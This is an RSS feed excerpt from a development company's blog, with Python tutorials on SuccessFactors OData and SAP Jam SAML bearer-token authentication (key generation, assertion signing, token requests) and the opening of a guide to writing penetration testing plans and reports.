<span style="box-sizing: border-box; color: #333333;">SF_OAUTH_CLIENT_ID</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">os</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">getenv</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">'SF_OAUTH_CLIENT_ID'</span><span style="box-sizing: border-box;">)</span>
<span style="box-sizing: border-box; color: #333333;">SF_OAUTH_CLIENT_SECRET</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">os</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">getenv</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">'SF_OAUTH_CLIENT_SECRET'</span><span style="box-sizing: border-box;">)</span>

<span style="box-sizing: border-box; color: #333333;">session</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">SFSession</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #333333;">server_url</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">SF_URL</span><span style="box-sizing: border-box;">,</span>
                    <span style="box-sizing: border-box; color: #333333;">private_key</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">SF_SAML_PRIVATE_KEY</span><span style="box-sizing: border-box;">,</span>
                    <span style="box-sizing: border-box; color: #333333;">company_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">SF_COMPANY_ID</span><span style="box-sizing: border-box;">,</span>
                    <span style="box-sizing: border-box; color: #333333;">oauth_client_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">SF_OAUTH_CLIENT_ID</span><span style="box-sizing: border-box;">,</span>
                    <span style="box-sizing: border-box; color: #333333;">sf_user_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">SF_USER</span><span style="box-sizing: border-box;">)</span>
<span style="box-sizing: border-box; color: #333333;">response</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">session</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">get</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">"/odata/v2/User?$filter=userId eq '{}'"</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">format</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #333333;">SF_USER</span><span style="box-sizing: border-box;">))</span></pre>
<p>The OData query is so simple, we don't even need to take care of much URL escapes most of the time. I really like that protocol.</p>
<p>Running the code above we get a JSON document:</p>
<pre style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; margin-bottom: 0px; padding: 16px; line-height: 1.45; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: normal; word-break: normal; background-color: #f7f7f7;"><span style="box-sizing: border-box;">{</span><span style="box-sizing: border-box; color: #dd1144;">u'd'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;">{</span><span style="box-sizing: border-box; color: #dd1144;">u'results'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;">[{</span><span style="box-sizing: border-box; color: #dd1144;">u'__metadata'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box;">{</span><span style="box-sizing: border-box; color: #dd1144;">u'type'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'SFOData.User'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; font-weight: bold;">...</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'addressLine1'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'1500 Fashion Island Blvd'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'city'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'San Mateo'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'country'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'United States'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'custom10'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'admin'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'dateOfCurrentPosition'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'/Date(983404800000)/'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'dateOfPosition'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'/Date(1388534400000)/'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'defaultLocale'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'en_US'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'department'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'Industries (IND)'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'division'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'Industries (IND)'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'email'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'admin@ACEcompany.com'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'firstName'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'Emily'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'lastName'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'Clark'</span><span style="box-sizing: border-box;">,</span>
                      <span style="box-sizing: border-box; font-weight: bold;">...</span>
                      <span style="box-sizing: border-box; color: #dd1144;">u'zipCode'</span><span style="box-sizing: border-box;">:</span> <span style="box-sizing: border-box; color: #dd1144;">u'94404'</span><span style="box-sizing: border-box;">}]}}</span></pre>
<h2>Source Code</h2>
<p>The full source code is available on&nbsp;<a href="https://github.com/mtrdesign/python-saml-example">GitHub</a>.</p>
<p>New files of interest in the sample project dir:</p>
<ul>
<li>sf_saml.py generates and signs SAML assertions.</li>
<li>sap_sf.py authenticates and makes requests to the Jam API.</li>
<li>get_sf_user.py makes a sample API call that retrieves member details.</li>
</ul>]]></content:encoded>
            </item>
                    <item>
                <title>SAP Jam SAML Authentication Using Python</title>
                <link>https://mtr-design.com/news/sap-jam-saml-authentication-using-python</link>
                <guid>https://mtr-design.com/news/sap-jam-saml-authentication-using-python</guid>
                <pubDate>Thu, 17 Jul 2014 12:00:00 +0000</pubDate>
                <dc:creator>Hristo Deshev</dc:creator>
                <description><![CDATA[<p>One of the most exciting things in our projects is working with new API's. This time it's the SAP Jam API. It has pretty good Java support, but I wanted to use it from our Python codebase, so I had to get creative.</p>]]></description>
                <content:encoded><![CDATA[<p>Calling the SAP Jam API from Python is not too complex, but there are a few places that can get tricky. I managed to put the pieces together from several sources, so this is my attempt to document most if it:</p>
<ul>
<li>Generating keys and registering them with SAP Jam.</li>
<li>Generating SAML assertion documents.</li>
<li>Signing the above as a SAML identity provider would.</li>
<li>Submitting an assertion to the server and getting back an OAuth SAML bearer token.</li>
<li>Authenticating API calls using the SAML bearer token.</li>
</ul>
<h2>Generating Keys</h2>
<p>We are using 2048-bit RSA keys, generated with <code>openssl</code>:</p>
<pre><span># generate private key</span>
openssl genrsa -out jam-private.pem 2048

<span># export public X509 certificate</span>
openssl req -new -x509 -key jam-private.pem -out jam-public.cer -days 3650
</pre>
<p>Alternatively you can just run the <code>generate_keys.sh</code> script in my sample project (see below). The thing to note is that you generate keys once and keep the files. You will need them when registering your OAuth application and calling the API.</p>
<h2>OAuth Access Configuration</h2>
<p>We'll do this in the "Jam Admin" area. We need two pieces: an OAuth application and a trusted SAML identity provider.</p>
<h3>OAuth Client Application</h3>
<p>The OAuth Application is pretty straightforward. Register your domain and application URLs and <strong>do not</strong> set up an X509 certificate.</p>
<p><a rel="noopener noreferrer" href="https://camo.githubusercontent.com/234a091b1a5e6248ed7758461e5470e191680e5a/68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686465736865762f707974686f6e2d73616d6c2d6578616d706c652f6d61737465722f646f632f696d672f6a616d2d6f617574682d636c69656e742e706e67" target="_blank"><img src="https://camo.githubusercontent.com/234a091b1a5e6248ed7758461e5470e191680e5a/68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686465736865762f707974686f6e2d73616d6c2d6578616d706c652f6d61737465722f646f632f696d672f6a616d2d6f617574682d636c69656e742e706e67" alt="OAuth registration" /></a></p>
<p>Then we register a SAML Identity Provider (IdP). Note the IDP ID, Allowed Assertion Scope and X509 certificate fields:</p>
<p><a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f0850e4aba7c388be657cab9244c4454a5ba2c2f/68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686465736865762f707974686f6e2d73616d6c2d6578616d706c652f6d61737465722f646f632f696d672f6a616d2d73616d6c2d6964702e706e67" target="_blank"><img src="https://camo.githubusercontent.com/f0850e4aba7c388be657cab9244c4454a5ba2c2f/68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686465736865762f707974686f6e2d73616d6c2d6578616d706c652f6d61737465722f646f632f696d672f6a616d2d73616d6c2d6964702e706e67" alt="SAML IdP configuration" /></a></p>
<h2>SAML assertions</h2>
<p>According to <a href="https://en.wikipedia.org/wiki/SAML">Wikipedia</a>, the Security Assertion Markup Language (SAML) is an XML-based standard that lets different services handle authentication and authorization together. It is typically used to implement single sign-on (SSO) scenarios.</p>
<p>To use SAML with SAP Jam, you need to generate an assertion XML document describing the user you want to impersonate, yourself as the issuer, and some extra pieces of data such as validity periods. Now the full list:</p>
<ul>
<li>Issuer. Typically a domain name such as example.com. You must use the one you provided when you registered the trusted IdP in the Jam admin area.</li>
<li>Subject. This is your user. SAML defines many ways to specify users, some allowing apps to use temporary opaque user ID's. We'll use the <code>urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress</code> name ID format and just pass the user email address.</li>
<li>Validity. We set up the proper <code>SubjectConfirmationData</code>, <code>AuthStatement</code>, and <code>Conditions</code> element with the correct authentication timestamp and and <code>NotBefore</code> and <code>NotOnOrAfter</code> points in time.</li>
<li>OAuth client ID. We pass our OAuth application's client ID.</li>
<li>Audience. Hardcoded to <code>cubetree.com</code>.</li>
</ul>
<p>Here is how our full XML generation template looks like:</p>
<pre><span>&lt;Assertion</span> <span>xmlns=</span><span>"urn:oasis:names:tc:SAML:2.0:assertion"</span>
<span>xmlns:ns2=</span><span>"http://www.w3.org/2000/09/xmldsig#"</span>
<span>xmlns:ns3=</span><span>"http://www.w3.org/2001/04/xmlenc#"</span> <span>ID=</span><span>"bo.ilic.test.idp"</span>
<span>IssueInstant=</span><span>"{issue_instant}"</span> <span>Version=</span><span>"2.0"</span><span>&gt;</span>
  <span>&lt;Issuer&gt;</span>{issuer}<span>&lt;/Issuer&gt;</span>
  <span>&lt;Subject&gt;</span>
    <span>&lt;NameID</span> <span>Format=</span><span>"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"</span><span>&gt;</span>{user_id}<span>&lt;/NameID&gt;</span>
    <span>&lt;SubjectConfirmation</span> <span>Method=</span><span>"urn:oasis:names:tc:SAML:2.0:cm:bearer"</span><span>&gt;</span>

      <span>&lt;SubjectConfirmationData</span> <span>NotOnOrAfter=</span><span>"{not_valid_after}"</span>
        <span>Recipient=</span><span>"{jam_root_url}/api/v1/auth/token"</span> <span>/&gt;</span>
    <span>&lt;/SubjectConfirmation&gt;</span>
  <span>&lt;/Subject&gt;</span>
  <span>&lt;Conditions</span> <span>NotBefore=</span><span>"{not_valid_before}"</span>
  <span>NotOnOrAfter=</span><span>"2014-04-15T14:36:22.235Z"</span><span>&gt;</span>
    <span>&lt;AudienceRestriction&gt;</span>
      <span>&lt;Audience&gt;</span>{audience}<span>&lt;/Audience&gt;</span>
    <span>&lt;/AudienceRestriction&gt;</span>
  <span>&lt;/Conditions&gt;</span>
  <span>&lt;AuthnStatement</span> <span>AuthnInstant=</span><span>"{auth_instant}"</span>
  <span>SessionIndex=</span><span>"mock_session_index"</span><span>&gt;</span>
    <span>&lt;AuthnContext&gt;</span>
      <span>&lt;AuthnContextClassRef&gt;</span>
      urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<span>&lt;/AuthnContextClassRef&gt;</span>
    <span>&lt;/AuthnContext&gt;</span>
  <span>&lt;/AuthnStatement&gt;</span>
  <span>&lt;AttributeStatement&gt;</span>
    <span>&lt;Attribute</span> <span>Name=</span><span>"client_id"</span><span>&gt;</span>
      <span>&lt;AttributeValue</span> <span>xmlns:xs=</span><span>"http://www.w3.org/2001/XMLSchema"</span>
      <span>xmlns:xsi=</span><span>"http://www.w3.org/2001/XMLSchema-instance"</span>
      <span>xsi:type=</span><span>"xs:string"</span><span>&gt;</span>{client_id}<span>&lt;/AttributeValue&gt;</span>
    <span>&lt;/Attribute&gt;</span>
  <span>&lt;/AttributeStatement&gt;</span>
  <span>&lt;Signature</span> <span>xmlns=</span><span>"http://www.w3.org/2000/09/xmldsig#"</span><span>&gt;</span>
    <span>&lt;SignedInfo&gt;</span>
      <span>&lt;CanonicalizationMethod</span> <span>Algorithm=</span><span>"http://www.w3.org/TR/2001/REC-xml-c14n-20010315"</span> <span>/&gt;</span>
      <span>&lt;SignatureMethod</span> <span>Algorithm=</span><span>"http://www.w3.org/2000/09/xmldsig#rsa-sha1"</span> <span>/&gt;</span>
      <span>&lt;Reference</span> <span>URI=</span><span>""</span><span>&gt;</span>
        <span>&lt;Transforms&gt;</span>
          <span>&lt;Transform</span> <span>Algorithm=</span><span>"http://www.w3.org/2000/09/xmldsig#enveloped-signature"</span> <span>/&gt;</span>
        <span>&lt;/Transforms&gt;</span>
        <span>&lt;DigestMethod</span> <span>Algorithm=</span><span>"http://www.w3.org/2000/09/xmldsig#sha1"</span> <span>/&gt;</span>
        <span>&lt;DigestValue&gt;&lt;/DigestValue&gt;</span>
      <span>&lt;/Reference&gt;</span>
    <span>&lt;/SignedInfo&gt;</span>
    <span>&lt;SignatureValue/&gt;</span>
  <span>&lt;/Signature&gt;</span>
<span>&lt;/Assertion&gt;</span>
</pre>
<h2>Signing Assertions</h2>
<p>You might have already noticed the <code>&lt;Signature&gt;</code> element in the assertion document above, and most importantly its <code>&lt;SignatureValue&gt;</code> child node. This is, well, where our signature has to go.</p>
<h3>Aside: Signing XML Documents</h3>
<p>Signing plain text messages is easy - the message content has a single representation that can be used to compute the signature. Unfortunately, that is not the case with XML. For example, the two documents below look different, yet are completely equivalent:</p>
<pre><span>&lt;user</span> <span>name=</span><span>"John"</span> <span>email=</span><span>"john@example.com"</span> <span>/&gt;</span>
</pre>
<p>and</p>
<pre><span>&lt;user</span>
    <span>email=</span><span>"john@example.com"</span> 
    <span>name=</span><span>"John"</span><span>&gt;&lt;/user&gt;</span>
</pre>
<p>To solve the multiple valid representations problem we need a way to normalize or canonicalize XML documents that will guarantee that, when applied to the two documents above, will yield the same results for both of them. That will make it possible for us to sign XML documents and verify signatures. Of course, people have come up with such algorithms already. For details, check Wikipedia's article on <a href="https://en.wikipedia.org/wiki/Canonical_XML">Canonical XML</a>.</p>
<h3>Signing XML in Python: <em>xmlsec</em> to the Rescue.</h3>
<p>Implementing XML canonicalization isn't a simple task, but, well, this is Python and most of the time people have already solved problems like that before. We will be getting the <a href="https://pypi.python.org/pypi/xmlsec/0.1.2">xmlsec</a> package off PyPI and using it to sign our assertions. It turns out to be quite easy, so I'll just give you the code:</p>
<pre><span>def</span> <span>sign_assertion</span><span>(</span><span>xml_string</span><span>,</span> <span>private_key</span><span>):</span>
    <span>root</span> <span>=</span> <span>etree</span><span>.</span><span>fromstring</span><span>(</span><span>xml_string</span><span>)</span>

    <span>signature_node</span> <span>=</span> <span>xmlsec</span><span>.</span><span>tree</span><span>.</span><span>find_node</span><span>(</span><span>root</span><span>,</span> <span>xmlsec</span><span>.</span><span>Node</span><span>.</span><span>SIGNATURE</span><span>)</span>
    <span>key</span> <span>=</span> <span>xmlsec</span><span>.</span><span>Key</span><span>.</span><span>from_file</span><span>(</span><span>private_key</span><span>,</span> <span>xmlsec</span><span>.</span><span>KeyFormat</span><span>.</span><span>PEM</span><span>)</span>

    <span>sign_context</span> <span>=</span> <span>xmlsec</span><span>.</span><span>SignatureContext</span><span>()</span>
    <span>sign_context</span><span>.</span><span>key</span> <span>=</span> <span>key</span>
    <span>sign_context</span><span>.</span><span>sign</span><span>(</span><span>signature_node</span><span>)</span>

    <span>return</span> <span>etree</span><span>.</span><span>tostring</span><span>(</span><span>root</span><span>)</span>
</pre>
<p>Note that the code above assumes your XML string already contains a <code>&lt;Signature&gt;</code> node. Just like our XML template had above.</p>
<h2>Obtaining SAML Bearer Tokens</h2>
<p>Now that we have our assertion nicely signed, we need to pass it to the Jam server. We do that by base64-encoding the assertion document and getting rid of all whitespace, so that everything fits on a single line. We then issue a HTTP POST request to <code>/api/v1/auth/token</code>:</p>
<pre><span>def</span> <span>request_token</span><span>(</span><span>self</span><span>,</span> <span>assertion</span><span>):</span>
    <span>encoded_assertion</span> <span>=</span> <span>re</span><span>.</span><span>sub</span><span>(</span><span>r'\s'</span><span>,</span> <span>''</span><span>,</span> <span>assertion</span><span>.</span><span>encode</span><span>(</span><span>'base64'</span><span>))</span>
    <span>post_params</span> <span>=</span> <span>dict</span><span>(</span>
        <span>client_id</span><span>=</span><span>self</span><span>.</span><span>client_id</span><span>,</span>
        <span>client_secret</span><span>=</span><span>self</span><span>.</span><span>client_secret</span><span>,</span>
        <span>grant_type</span><span>=</span><span>"urn:ietf:params:oauth:grant-type:saml2-bearer"</span><span>,</span>
        <span>assertion</span><span>=</span><span>encoded_assertion</span><span>,</span>
    <span>)</span>

    <span>token_url</span> <span>=</span> <span>self</span><span>.</span><span>url_for</span><span>(</span><span>"/api/v1/auth/token"</span><span>)</span>
    <span>response</span> <span>=</span> <span>requests</span><span>.</span><span>post</span><span>(</span><span>token_url</span><span>,</span> <span>data</span><span>=</span><span>post_params</span><span>)</span>
    <span>response</span><span>.</span><span>raise_for_status</span><span>()</span>
    <span>return</span> <span>response</span><span>.</span><span>json</span><span>()[</span><span>'access_token'</span><span>]</span>
</pre>
<p>Note the <code>saml2-bearer</code> grant type above and the <code>client_id</code> and <code>client_secret</code> values. Again, you'll get the last two from your registered OAuth application settings in the Jam admin. Just have in mind that Jam calls the <span style="font-family: monospace; font-size: 14.399999618530273px; font-style: normal;">client_id</span>&nbsp;value just <span style="font-family: monospace; font-size: 14.399999618530273px; font-style: normal;">key</span>:</p>
<p><a rel="noopener noreferrer" href="https://camo.githubusercontent.com/1f76b9e74a7ccc2f92e542535f6bc1162f569057/68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686465736865762f707974686f6e2d73616d6c2d6578616d706c652f6d61737465722f646f632f696d672f6a616d2d6f617574682d636c69656e742d73657474696e67732e706e67" target="_blank"><img src="https://camo.githubusercontent.com/1f76b9e74a7ccc2f92e542535f6bc1162f569057/68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686465736865762f707974686f6e2d73616d6c2d6578616d706c652f6d61737465722f646f632f696d672f6a616d2d6f617574682d636c69656e742d73657474696e67732e706e67" alt="Jam OAuth client settings" /></a></p>
<h2>Token Authentication</h2>
<p>Once you've gotten hold of the token, you can issue API requests, by passing the token in an <code>Authorization</code> header. Here's how to do it:</p>
<pre><span>headers</span><span>[</span><span>"authorization"</span><span>]</span> <span>=</span> <span>'OAuth {}'</span><span>.</span><span>format</span><span>(</span><span>self</span><span>.</span><span>access_token</span><span>)</span>
</pre>
<p>Note the mandatory 'OAuth' prefix! And don't mind the lowercase "authorization" key -- HTTP headers are not case-sensitive.</p>
<p>Wrapping assertion generation, signing, and obtaining tokens in a simple <code>JamSession</code> class, we can now get our profile details, by issuing a HTTP GET request for <code>/api/v1/members</code>:</p>
<pre><span>session</span> <span>=</span> <span>JamSession</span><span>(</span><span>server_url</span><span>=</span><span>JAM_URL</span><span>,</span>
                     <span>issuer</span><span>=</span><span>JAM_IDP_DOMAIN</span><span>,</span>
                     <span>private_key</span><span>=</span><span>JAM_SAML_PRIVATE_KEY</span><span>,</span>
                     <span>client_id</span><span>=</span><span>JAM_OAUTH_CLIENT_ID</span><span>,</span>
                     <span>client_secret</span><span>=</span><span>JAM_OAUTH_CLIENT_SECRET</span><span>,</span>
                     <span>jam_access_email</span><span>=</span><span>JAM_EMAIL</span><span>)</span>
<span>response</span> <span>=</span> <span>session</span><span>.</span><span>get</span><span>(</span><span>'/api/v1/members'</span><span>)</span>
<span>pprint</span><span>(</span><span>response</span><span>.</span><span>json</span><span>())</span>
</pre>
<p>And here's the result we get back:</p>
<pre><span>{</span><span>u'assistant_ids'</span><span>:</span> <span>[],</span>
 <span>u'company-name'</span><span>:</span> <span>u'Ace'</span><span>,</span>
 <span>u'country_code'</span><span>:</span> <span>u'United States'</span><span>,</span>
 <span>u'created-at'</span><span>:</span> <span>1378332130</span><span>,</span>
 <span>u'current-status'</span><span>:</span> <span>{</span><span>u'created-at'</span><span>:</span> <span>1403259039</span><span>,</span>
                     <span>u'id'</span><span>:</span> <span>4452</span><span>,</span>
                     <span>u'member-id'</span><span>:</span> <span>98390</span><span>,</span>
                     <span>u'source'</span><span>:</span> <span>u'Web'</span><span>,</span>
                     <span>u'status'</span><span>:</span> <span>u'&lt;a href="dsasda"&gt;dsa&lt;/a&gt;'</span><span>,</span>
                     <span>u'updated-at'</span><span>:</span> <span>1403259039</span><span>},</span>
 <span>u'direct_report_ids'</span><span>:</span> <span>[],</span>
 <span>u'email-addresses'</span><span>:</span> <span>[{</span><span>u'address'</span><span>:</span> <span>u'admin@example.com'</span><span>,</span>
                       <span>u'location'</span><span>:</span> <span>u'Primary'</span><span>}],</span>
 <span>u'first-name'</span><span>:</span> <span>u'Admin'</span><span>,</span>
 <span>u'handle'</span><span>:</span> <span>u'admin'</span><span>,</span>
 <span>u'id'</span><span>:</span> <span>98390</span><span>,</span>
<span>...</span>
<span>}</span>
</pre>
<h2>Full Source Code</h2>
<p>I packaged the entire project and put it up on <a href="https://github.com/mtrdesign/python-saml-example">GitHub</a>. Things of interest in there:</p>
<ul>
<li>requirements.txt to set up your virtualenv.</li>
<li>generate_keys.sh to (duh!) generate RSA keys.</li>
<li>jam_saml.py generates and signs SAML assertions.</li>
<li>sap_jam.py authenticates and makes requests to the Jam API. You'll find the <span style="font-family: monospace; font-size: 14.399999618530273px; font-style: normal;">JamSession</span>&nbsp;class you've seen above here.</li>
<li>get_jam_member.py makes a sample API call that retrieves member details.</li>
</ul>]]></content:encoded>
            </item>
                    <item>
                <title>The Penetration Testing Report</title>
                <link>https://mtr-design.com/news/the-penetration-testing-report</link>
                <guid>https://mtr-design.com/news/the-penetration-testing-report</guid>
                <pubDate>Sat, 15 Jun 2013 11:10:00 +0000</pubDate>
                <dc:creator>Dimitar I</dc:creator>
                <description><![CDATA[<p>So, the fun you had hacking a web application is over, and you need to start writing the final report. You start wondering where to start, how to structure it, format it, and how to make it look good.</p>
<p>We will try to answer all that in this post. For this purpose, we will see how to write a Final Report on a Web application penetration test.</p>]]></description>
                <content:encoded><![CDATA[<p>If you had ever searched the Internet for sample penetration testing reports, then you have already found that, for some reason that is still unknown to me, security companies does not have sample penetration reports on their sites. As weird as it is, it is extremely hard to even find a decent how-to on the structure of the final report.</p>
<p>I mean, really! Are the security companies so ashamed of their reports that they would not show them to the public?</p>
<p>So, I&rsquo;ve been meaning to write a post about this for a long time. Now, I have the time to really do it.</p>
<p>Before I start, I would like to underline that&nbsp;<a href="/" target="_blank" rel="noopener noreferrer" title="MTR Design">our company</a>, too, does not have a report on our site. To be honest, instead of writing this post, I would just post a link to the report and be done with it. But I have to justify my time in front of the management, and this is a good way to do it :-). What is more, people would just use it as a template and will never learn how to write it themselves. The sample texts I will use below are from our sample report. So, let&rsquo;s start.</p>
<p>The key to a good report is that you should have already started with it before you begin with the test. That is why, we will talk a lot about what you need to do before you even start the assessment.</p>
<p>When a client contacts you about a pentest, you do several things before the start of the test. Let&rsquo;s call these</p>
<h2>Pre-Engagement Activities</h2>
<p>In this stage, you will ask questions about the system.</p>
<p>The most important question is why the client is doing the assessment. The answer to this will help you set the test goal and objectives. You will also need to know if you will test just the application or the server will also be included, will you test all parts of the application or just the front-end or the administration back-end, what tests you will make and how intrusive they will be, what time of the day you will do the testing. You will also ask for a single point of contact you can reach in case of emergencies, and so on.</p>
<p>Based on this information, you will have to create a</p>
<h2>Penetration Testing Plan</h2>
<p>The PTP has to have several sections. If you want to make it good looking, include your company</p>
<h3>Cover Page</h3>
<p>Usually, we put a short paragraph at the end of the cover page to tag it as confidential. The following is a pretty standard text:</p>
<blockquote>
<p>This document is intended only for the use of the individual or entity to which it is addressed and may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this disclaimer is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this document is strictly prohibited. If you received this document in error, please notify us immediately by telephone and return the original document to us at the address below. If you have received an electronic copy of the document, please remove it immediately after reading this disclaimer.</p>
</blockquote>
<p>Then, of course, you include a Table of Contents. It is a known fact that C-level executives and decision makers don&rsquo;t do well with plain text. You need to start with the table of contents, so that they know exactly where to skip to.</p>
<p>Not that it is not obvious from the title of the document, but to be thorough, you would also want to include a</p>
<h3>Purpose of This Document</h3>
<p>section. It should clearly state what this document is about. For example, something like this:</p>
<blockquote>
<p>The purpose of this document is to describe the details of the penetration test that will be conducted by MTR Design against the &lt;Name of application&gt; application for &lt;Client&gt;.</p>
<p>It defines the goal of the test and lists its objectives; it also summarizes the scope of the test, and outlines the scenarios and the tests that will be performed by the testing team.</p>
</blockquote>
<p>The next section you need to include would be the</p>
<h3>Distribution List</h3>
<p>This is simply a table with the people that can read this document. The table can have three columns: Name, Role, and Contact Details. Anyone that should have access to the document should be listed here.</p>
<p>You will also have to include a</p>
<h3>Revision History</h3>
<p>This is another section that details the changes made on the document by the people that have contributed to it. The columns here are Version, Date, Author, and Comments/Notes.</p>
<p>Then, you have to have a</p>
<h3>Project Definition</h3>
<p>section. This is another short paragraph, for example:</p>
<blockquote>
<p>The MTR Design team was engaged to test&nbsp;&lt;Name of application&gt;<name of="" application="">&nbsp;for security issues. The purpose of the test is to determine the level of security of the web application interface.</name></p>
</blockquote>
<p>Now has come the time to secure yourself. Every pentester knows how quickly things change in the security industry, so it is a good idea to include a section about the</p>
<h3>Test Limitations</h3>
<p>Something like the following should do:</p>
<blockquote>
<p>The penetration test provides a snapshot of the current security problems of the system, and it is limited in terms of time and personnel. Therefore, they cannot provide a 100% guarantee that every attack vector has been included, and that the system will stay secure over time.</p>
</blockquote>
<p>After you add this &lsquo;limited liability&rsquo; section, it is time to list the</p>
<h3>Test Goal and Objectives</h3>
<p>In this section, you should define the goal of the test (remember those talks you had with the client?) and &lsquo;bullet&rsquo; the test objectives. Here is a sample:</p>
<blockquote>
<p>The goal of the test is to find possible vulnerabilities, related to the Web application and verify if they are exploitable, provided that a permission to exploit the vulnerability is granted by the client.</p>
<p>To complete this goal, the following objectives are defined:</p>
<ul>
<li>MTR Design will create a threat model for the application. The model will include the assets and the threat agents.</li>
<li>MTR Design will inspect the application and map its functionality.</li>
<li>Based on the application map, MTR design will create a detailed test plan with scenarios and test cases, which will be executed against the target application (this document).</li>
<li>MTR will submit the test plan to &lt;Client&gt;&nbsp;<client>by the &lt;DATE&gt;<date>.</date></client></li>
<li>The security team will test the Web application defined in the test scope for the OWASP top 10 vulnerabilities as described in this test plan.</li>
<li>The security team will report the progress of the testing to the &lt;Client&gt;<client>&nbsp;SPoC periodically.</client></li>
<li>If vulnerability is found, the security team will verify it after they receive approval from the client SPoC.</li>
<li>The security team will produce a conclusion report, which will contain assessment of the security of the Web application, description of the vulnerabilities and recommendations on how to remediate the issues that may be detected during the test. The Conclusion Report will be submitted by&nbsp;<date>&lt;DATE&gt;.</date></li>
<li>The security team will present the conclusion report on &lt;DATE&gt;<date>.</date></li>
</ul>
<p>All information obtained during the test will be processed, analyzed and stored in accordance with the MTR Design security practices and data handling policy.</p>
</blockquote>
<p>Good, we finally get to the real stuff. Next you have to define the</p>
<h3>Test Scope</h3>
<p>It should include several things. First, you have to describe the</p>
<h4>Target System</h4>
<p>Here, you can use a table with two columns. In the first column, you should have (at least) the following:</p>
<ul>
<li>Target System Name</li>
<li>Target System URL(s)</li>
<li>Test Type</li>
<li>Production Environment</li>
<li>Intrusive Tests</li>
<li>Client Awareness</li>
<li>Technology</li>
<li>Development Framework</li>
<li>Functionalities</li>
<li>Login Credentials</li>
</ul>
<p>The second column should contain the details.</p>
<p>Then, you list the</p>
<h4>Tests</h4>
